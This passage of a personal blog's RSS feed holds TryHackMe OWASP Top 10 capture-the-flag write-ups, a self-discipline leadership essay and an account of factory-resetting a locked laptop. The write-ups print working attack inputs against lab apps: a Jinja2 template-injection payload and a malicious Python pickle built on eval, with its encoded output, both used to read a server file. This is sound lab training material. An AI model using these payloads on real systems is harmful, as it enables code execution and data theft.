&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: A04: Cryptographic Failures&lt;/h2&gt;
&lt;p&gt;Cryptographic failures occur when sensitive data is not adequately protected due to weak encryption algorithms (like MD5 or SHA1), lack of hashing, or poor key management. Prevention involves using strong, modern algorithms (like bcrypt for passwords) and never embedding credentials in source code. The practical exercise involves a note-sharing app using a weak shared key.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Decrypt the encrypted notes. One of them will contain a flag value. What is it?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.oVmpyedX_M3huA.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here we can open the page called Crypto Lab: Weak XOR Cipher. Then we can use CyberChef to decrypt the codes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DecF7rwp_1H0kEy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can use From Base64 and XOR, then for the key_ we can try different values and eventually find the correct key1.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.DHsSd1f2_2ajP9d.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And the flag is found in confidential #3.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.B4QZWpKW_Z24HAUh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: A05: Injection&lt;/h2&gt;
&lt;p&gt;Injection happens when an application processes untrusted user input directly into a system (like a database or shell) without sanitization. Common types include SQL Injection, Command Injection, and Server Side Template Injection (SSTI). To prevent this, input should always be treated as untrusted, using parameterized queries and strict validation. The practical demonstrates an SSTI attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Perform an SSTI attack on the practical. You need to read the contents of flag.txt that is located within the same directory as the web application.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BAQrpttF_ZMXKWY.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;In the notes section, there is an important insight:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jinja2 templates can access Python objects when not sandboxed.&lt;br&gt;
Look for builtins like config, request, cycler, joiner, lipsum.&lt;br&gt;
Try payloads such as {{7*7}} or {{config.items()}} to explore.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CKGZKW8A_1T23Vi.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From the example shown at the bottom, we can see a payload like:
{{ request.application.&lt;strong&gt;globals&lt;/strong&gt;.&lt;strong&gt;builtins&lt;/strong&gt;.open(&apos;flag.txt&apos;).read() }}&lt;/p&gt;
&lt;p&gt;So we just need to adjust it using one of the available objects such as config, request, cycler, joiner, or lipsum. After several attempts, the flag was successfully retrieved using lipsum.
{{ lipsum.&lt;strong&gt;globals&lt;/strong&gt;.&lt;strong&gt;builtins&lt;/strong&gt;.open(&apos;flag.txt&apos;).read() }}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.DrdlgHkQ_Z5cwOJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: A08: Software or Data Integrity Failures&lt;/h2&gt;
&lt;p&gt;This vulnerability occurs when applications rely on code, updates, or data without verifying their integrity or origin (e.g., unverified software updates or insecure deserialization). Prevention requires establishing trust boundaries and using cryptographic checks (checksums) to verify artifacts. The practical demonstrates a Python deserialization attack using the pickle module.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Python to pickle a malicious, serialised payload that reads the contents of flag.txt and submits it to the application. What are the contents of flag.txt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.C96GFKLP_1Q76zB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;When we open IP_MACHINE:8002, the solution is actually already provided. So we just need to run the given Python script.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pickle
import base64

class Malicious:
    def __reduce__(self):
        # Return a tuple: (callable, args)
        # This will execute: open(&apos;flag.txt&apos;).read()
        return (eval, (&quot;open(&apos;flag.txt&apos;).read()&quot;,))

# Generate and encode the payload
payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.ZIHflrKI_1nSyvj.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Run the script in Python until the encoded string is generated, then simply copy and paste it into the web deserialization field.&lt;/p&gt;
&lt;p&gt;gASVMwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwXb3BlbignZmxhZy50eHQnKS5yZWFkKCmUhZRSlC4=&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.BLjDqudq_2ch99a.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And we successfully obtain the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/a.DfbPyGlE.webp"/><enclosure url="/_astro/a.DfbPyGlE.webp"/></item><item><title>Self-Control Is the First Leadership Test</title><link>https://farros.co/blog/self-control-is-the-first-leadership-test/</link><guid isPermaLink="true">https://farros.co/blog/self-control-is-the-first-leadership-test/</guid><description>Before leading others, master yourself. In a world built to hijack attention, discipline over impulse is the foundation of trust and true authority.</description><pubDate>Wed, 18 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Marcus Aurelius once wrote that a man who cannot rule his desires is unfit to rule anything at all.&lt;/p&gt;
&lt;p&gt;That line sounds dramatic, until you realize how small the battlefield actually is.&lt;/p&gt;
&lt;p&gt;Desire doesn’t arrive as some grand moral test. It begins quietly. A chemical surge. An image. A sensation. A suggestion. In milliseconds, your brain lights up and offers you a shortcut to pleasure.&lt;/p&gt;
&lt;p&gt;The real question is not whether desire appears.&lt;/p&gt;
&lt;p&gt;The real question is: &lt;strong&gt;who responds?&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;The Smallest Arena&lt;/h2&gt;
&lt;p&gt;We often talk about leadership in public terms — money, business, family, influence. But leadership begins in the smallest arena: yourself.&lt;/p&gt;
&lt;p&gt;If you cannot control a passing impulse, how will you control a budget?&lt;br&gt;
If you cannot discipline your attention, how will you guide a team?&lt;br&gt;
If you cannot master your urges, how will you protect what you love?&lt;/p&gt;
&lt;p&gt;Self-control is not about appearing righteous. It is about being reliable.&lt;/p&gt;
&lt;p&gt;A man ruled by impulse is predictable. And a predictable man is easy to manipulate by media, by temptation, by circumstance.&lt;/p&gt;
&lt;p&gt;That is not strength. That is dependency.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Why It Matters More Than Ever&lt;/h2&gt;
&lt;p&gt;I am a father to a daughter.&lt;/p&gt;
&lt;p&gt;That changes the weight of this conversation entirely.&lt;/p&gt;
&lt;p&gt;Because now self-control is not abstract philosophy. It is example.&lt;/p&gt;
&lt;p&gt;One day she will measure men against the standard she saw at home.&lt;br&gt;
One day she will form expectations based on how I carried myself.&lt;br&gt;
One day she will decide what kind of behavior is normal and acceptable.&lt;/p&gt;
&lt;p&gt;If I cannot govern my own desires, what exactly am I teaching?&lt;/p&gt;
&lt;p&gt;Control over lust is not repression. It is protection of clarity, of dignity, of stability.&lt;/p&gt;
&lt;p&gt;It is the difference between being driven and being directed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Discipline in the Unseen Moments&lt;/h2&gt;
&lt;p&gt;The most important battles are invisible.&lt;/p&gt;
&lt;p&gt;No one applauds when you close the tab.&lt;br&gt;
No one congratulates you for resisting distraction.&lt;br&gt;
No one knows when you choose restraint.&lt;/p&gt;
&lt;p&gt;But those moments build something internal: sovereignty.&lt;/p&gt;
&lt;p&gt;Every act of discipline strengthens your claim over your own mind. And the man who governs his mind governs his actions. And the man who governs his actions becomes trustworthy.&lt;/p&gt;
&lt;p&gt;Trust is the currency of leadership.&lt;/p&gt;
&lt;p&gt;Lose control privately, and eventually it leaks publicly.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Rule or Be Ruled&lt;/h2&gt;
&lt;p&gt;We like to believe we are free. But freedom without self-mastery is illusion. If your behavior can be steered by stimulation, you are not in control, you are being controlled.&lt;/p&gt;
&lt;p&gt;To rule your life, you must first rule your impulses.&lt;/p&gt;
&lt;p&gt;Because the man who cannot command himself cannot be trusted with command.&lt;/p&gt;
&lt;p&gt;And leadership whether over a company, a household, or a future — always begins within.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;A Reflection from Imam Al-Ghazali&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The nafs is like a wild horse. If you do not train it, it will throw you. But if you discipline it, it will carry you to your destination.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Self-mastery, then, is not denial — it is direction.&lt;br&gt;
What you fail to govern will eventually govern you.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.d4EqFfQQ.webp"/><enclosure url="/_astro/a.d4EqFfQQ.webp"/></item><item><title>Fixing a Locked Laptop Without Reinstalling</title><link>https://farros.co/blog/fixing-a-locked-laptop-without-reinstalling/</link><guid isPermaLink="true">https://farros.co/blog/fixing-a-locked-laptop-without-reinstalling/</guid><description>Helping my manager recover a locked Windows laptop—balancing convenience, licensing, and avoiding the old USB reinstall route.</description><pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It started with a simple request from my manager:&lt;/p&gt;
&lt;p&gt;“Can you fix my laptop? I forgot the PIN. If the disk gets wiped, it’s fine.”&lt;/p&gt;
&lt;p&gt;Classic situation. Forgotten PIN, locked login screen, mild panic.&lt;/p&gt;
&lt;p&gt;At that moment, I didn’t even know what exact Windows version it was. It &lt;em&gt;looked&lt;/em&gt; like Windows 11, but I didn’t check the version explicitly. The laptop wasn’t brand new, so it could have been upgraded at some point. Either way, the core issue was the same: we couldn’t get past the login screen.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CHT8C-5X_byNkM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Forcing Recovery Mode&lt;/h2&gt;
&lt;p&gt;Since we were stuck at login, I triggered Windows Recovery by forcing shutdown three times in a row. That’s actually a built-in behavior: Windows detects repeated failed boots and loads the recovery environment.&lt;/p&gt;
&lt;p&gt;Soon, the blue &lt;strong&gt;Recovery&lt;/strong&gt; screen appeared.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CRJzwM25_ocgPb.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.DG08XrFZ_Z1PHsjC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Troubleshoot&lt;/li&gt;
&lt;li&gt;Reset this PC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That’s where things got interesting.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;The Temptation of the Old Way&lt;/h2&gt;
&lt;p&gt;My first instinct?&lt;/p&gt;
&lt;p&gt;“Should I just grab a flash drive and use Rufus like the old days?”&lt;/p&gt;
&lt;p&gt;Honestly, I was ready to go the classic route:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download ISO&lt;/li&gt;
&lt;li&gt;Create bootable USB with Rufus&lt;/li&gt;
&lt;li&gt;Enter BIOS&lt;/li&gt;
&lt;li&gt;Boot from USB&lt;/li&gt;
&lt;li&gt;Clean install&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But then I thought… do I really want to go through all that setup again? Drivers, updates, extra configuration. It works, sure. But it’s tedious. And I wasn’t exactly in the mood for a full ritual reinstall.&lt;/p&gt;
&lt;p&gt;Sometimes laziness is just efficiency in disguise.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;The License Clue&lt;/h2&gt;
&lt;p&gt;While checking the device, I noticed the Windows logo on the back of the laptop. That usually indicates an embedded OEM license.&lt;/p&gt;
&lt;p&gt;That changed my mindset.&lt;/p&gt;
&lt;p&gt;If the device already had a valid Windows license tied to the hardware, there was no strong reason to go full USB reinstall. The built-in recovery should handle everything cleanly and reactivate automatically.&lt;/p&gt;
&lt;p&gt;So instead of overengineering the solution, I chose the practical path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;The Reset Decision&lt;/h2&gt;
&lt;p&gt;Inside &lt;strong&gt;Reset this PC&lt;/strong&gt;, Windows offered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keep my files&lt;/li&gt;
&lt;li&gt;Remove everything&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I initially tried the “Keep my files” route. It required Microsoft account authentication. But because of earlier connectivity limitations and the locked state, it wasn’t the smoothest path.&lt;/p&gt;
&lt;p&gt;Since my manager had already said wiping the disk was fine, I chose:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remove files (standard reset)&lt;/strong&gt;
—not the deep, fully secure wipe that takes much longer.&lt;/p&gt;
&lt;p&gt;Shortly after confirming, the screen showed the Lenovo logo with the word:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Resetting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BGLkHjE6_Hq2oO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;That’s the point of no return.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Back to First-Time Setup&lt;/h2&gt;
&lt;p&gt;After the reset, the laptop booted into the familiar first-time Windows setup flow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Region selection&lt;/li&gt;
&lt;li&gt;Keyboard layout&lt;/li&gt;
&lt;li&gt;Network connection&lt;/li&gt;
&lt;li&gt;Microsoft account login&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At that point, it became clear that the device was actually running Windows 10, but I didn’t double-check the exact version number.&lt;/p&gt;
&lt;p&gt;Activation happened automatically, no product key drama. That confirmed the license was indeed embedded in the device.&lt;/p&gt;
&lt;p&gt;We signed back into the Microsoft account, set a new PIN, and within a short time, everything was working again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.vgSH2bg7_PFsHc.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;What This Small Task Revealed&lt;/h2&gt;
&lt;p&gt;This wasn’t a complex IT project. But it was a reminder:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not every problem requires the most technical solution.&lt;/li&gt;
&lt;li&gt;Built-in recovery tools are more powerful than we assume.&lt;/li&gt;
&lt;li&gt;USB reinstall is reliable—but often unnecessary.&lt;/li&gt;
&lt;li&gt;Sometimes the “lazy” path is actually the most efficient one.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the end, what started as a locked laptop turned into a simple reset and clean setup. No Rufus. No BIOS tweaking. No overkill.&lt;/p&gt;
&lt;p&gt;Just practical problem-solving.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;👋 If you enjoy real-world tech stories like this, follow for more practical lessons from everyday troubleshooting&lt;/p&gt;</content:encoded><h:img src="/_astro/a.CicwZNQL.webp"/><enclosure url="/_astro/a.CicwZNQL.webp"/></item><item><title>OWASP Top 10 2025: Design Flaws | TryHackMe</title><link>https://farros.co/blog/owasp-top-10-2025-design-flaws-tryhackme/</link><guid isPermaLink="true">https://farros.co/blog/owasp-top-10-2025-design-flaws-tryhackme/</guid><description>Learn about A02, A03, A06, and A10 and how they related to design flaws in the application.</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This write-up documents my approach to completing the TryHackMe room: &lt;a href=&quot;https://tryhackme.com/room/owasptopten2025two&quot;&gt;OWASP Top 10 2025: Application Design Flaws&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This room covers four categories of the OWASP Top 10 2025 that are closely related to architecture and system design weaknesses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Security Misconfigurations (AS02)&lt;/li&gt;
&lt;li&gt;Software Supply Chain Failures (AS03)&lt;/li&gt;
&lt;li&gt;Cryptographic Failures (AS04)&lt;/li&gt;
&lt;li&gt;Insecure Design (AS06)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These categories highlight how flawed assumptions, weak configurations, and poor architectural decisions can compromise entire systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am ready to learn about design flaw vulnerabilities!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: AS02: Security Misconfigurations&lt;/h2&gt;
&lt;p&gt;Security misconfigurations occur when systems are deployed with unsafe defaults, incomplete configurations, or exposed services. Examples include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Default passwords left unchanged&lt;/li&gt;
&lt;li&gt;Public cloud storage buckets&lt;/li&gt;
&lt;li&gt;Debug mode enabled in production&lt;/li&gt;
&lt;li&gt;Unnecessary services exposed to the internet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Proper mitigation requires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hardening default configurations&lt;/li&gt;
&lt;li&gt;Enforcing the principle of least privilege&lt;/li&gt;
&lt;li&gt;Keeping systems and dependencies up to date&lt;/li&gt;
&lt;li&gt;Performing regular security audits&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, navigate to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://IP_MACHINE:5002/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.ThMKE65U_tOENX.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The application exposes a user lookup endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/api/user/&amp;#x3C;user_id&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 1: Testing the Endpoint&lt;/h3&gt;
&lt;p&gt;Accessing a valid user ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://IP_MACHINE:5002/api/user/123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.dlDoznPU_1F8vUf.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The API returns normal user information in JSON format.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.DW7_qT7v_GTxRr.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This confirms that the endpoint directly processes user-supplied input without authentication.&lt;/p&gt;
&lt;h3&gt;Step 2: Testing Input Validation&lt;/h3&gt;
&lt;p&gt;Next, we test how the application handles malformed input by modifying the user ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://IP_MACHINE:5002/api/user/1%10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This payload includes an unexpected encoded character (&lt;code&gt;%10&lt;/code&gt;) to test how the backend handles invalid input.&lt;/p&gt;
&lt;h3&gt;Step 3: Exploiting the Misconfiguration&lt;/h3&gt;
&lt;p&gt;The server fails to properly validate the input and reveals unintended information.&lt;/p&gt;
&lt;p&gt;As a result, the flag is exposed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.C92fM_9__Z2t7WCe.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: AS03: Software Supply Chain Failures&lt;/h2&gt;
&lt;p&gt;Software supply chain failures occur when applications rely on compromised, outdated, or unverified third-party components, libraries, or AI models.&lt;/p&gt;
&lt;p&gt;To secure the supply chain, developers must:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Verify third-party components&lt;/li&gt;
&lt;li&gt;Sign and audit updates&lt;/li&gt;
&lt;li&gt;Secure CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Monitor dependencies for known vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.C2-pECup_Z2ehAm9.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.T-7dEaAB_ZHKGnF.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Challenge Overview&lt;/h3&gt;
&lt;p&gt;We were asked to identify and exploit a vulnerability in a &lt;strong&gt;Data Processing Service&lt;/strong&gt; that imports an outdated third-party component:&lt;/p&gt;
&lt;p&gt;lib/vulnerable_utils.py&lt;/p&gt;
&lt;p&gt;The service exposed two endpoints:&lt;/p&gt;
&lt;p&gt;POST /api/process
GET  /api/health&lt;/p&gt;
&lt;p&gt;The health endpoint returned normal status, so the focus shifted to:&lt;/p&gt;
&lt;p&gt;/api/process&lt;/p&gt;
&lt;h3&gt;Step 1: Normal Input Testing&lt;/h3&gt;
&lt;p&gt;Sending normal input:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{&quot;data&quot;:&quot;test&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Response:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;result&quot;: &quot;Output: TEST&quot;,
  &quot;status&quot;: &quot;success&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Observations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The input is converted to uppercase.&lt;/li&gt;
&lt;li&gt;Errors are returned directly in JSON format.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 2: Error Triggering&lt;/h3&gt;
&lt;p&gt;Sending malformed input:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Response:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&apos;NoneType&apos; object has no attribute &apos;get&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This revealed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The application calls &lt;code&gt;request.json.get(&quot;data&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;There is no validation on &lt;code&gt;request.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Raw exception messages are exposed to the user&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This confirmed weak error handling and improper input validation.&lt;/p&gt;
&lt;h3&gt;Step 3: Reviewing the Source Code&lt;/h3&gt;
&lt;p&gt;After reviewing the application logic, we found:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;if data == &apos;debug&apos;:
    return jsonify(debug_info())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The application contained a hidden debug backdoor.&lt;/p&gt;
&lt;p&gt;This meant that sending &lt;code&gt;&quot;debug&quot;&lt;/code&gt; as input would trigger internal debug functionality.&lt;/p&gt;
&lt;h3&gt;Step 4: Exploitation&lt;/h3&gt;
&lt;p&gt;Sending:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{&quot;data&quot;:&quot;debug&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response revealed sensitive internal information, including the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.BQGvnmET_Z1VDsxJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: AS04: Cryptographic Failures&lt;/h2&gt;
&lt;p&gt;Cryptographic failures occur when encryption is implemented incorrectly or not implemented at all. Examples include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weak algorithms such as MD5 or SHA-1&lt;/li&gt;
&lt;li&gt;Hard-coded encryption keys&lt;/li&gt;
&lt;li&gt;Using insecure modes like ECB&lt;/li&gt;
&lt;li&gt;Failing to encrypt sensitive data in transit or at rest&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prevention requires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using modern cryptographic standards (AES-GCM, TLS 1.3)&lt;/li&gt;
&lt;li&gt;Secure key management solutions&lt;/li&gt;
&lt;li&gt;Regular key rotation&lt;/li&gt;
&lt;li&gt;Avoiding hard-coded secrets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.CiuVAhqC_803hm.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The page displayed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Secure Document Viewer
Decryption feature unavailable
Encrypted Document:
Nzd42HZGgUIUlpILZRv0jeIXp1WtCErwR+j/w/lnKbmug31opX0BWy+pwK92rkhjwdf94mgHfLtF26X6B3pe2fhHXzIGnnvVruH7683KwvzZ6+QKybFWaedAEtknYkhe
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Step 1: Inspecting the Source&lt;/h3&gt;
&lt;p&gt;We found:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&amp;#x3C;script src=&quot;/static/js/decrypt.js&quot;&gt;&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So we accessed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://IP_MACHINE:5004/static/js/decrypt.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.CJevnDP3_Z20xvDA.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Inside the file, we discovered:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Key: my-secret-key-16
Mode: AES-128-ECB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a clear cryptographic failure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hard-coded encryption key&lt;/li&gt;
&lt;li&gt;Insecure ECB mode&lt;/li&gt;
&lt;li&gt;Client-side exposure of secrets&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 2: Decrypting the Data&lt;/h3&gt;
&lt;p&gt;We used Python:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from Crypto.Cipher import AES
import base64

key = b&quot;my-secret-key-16&quot;

ciphertext = base64.b64decode(
&quot;Nzd42HZGgUIUlpILZRv0jeIXp1WtCErwR+j/w/lnKbmug31opX0BWy+pwK92rkhjwdf94mgHfLtF26X6B3pe2fhHXzIGnnvVruH7683KwvzZ6+QKybFWaedAEtknYkhe&quot;
)

cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)

print(plaintext.decode(&apos;utf-8&apos;).rstrip(&quot;\x00&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag was successfully decrypted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.DLrxDVVu_Z2rIFkj.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: AS06: Insecure Design&lt;/h2&gt;
&lt;p&gt;Insecure design refers to architectural or logic flaws that are built into the system from the beginning. These flaws result from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Poor threat modeling&lt;/li&gt;
&lt;li&gt;Incorrect assumptions&lt;/li&gt;
&lt;li&gt;Missing authorization checks&lt;/li&gt;
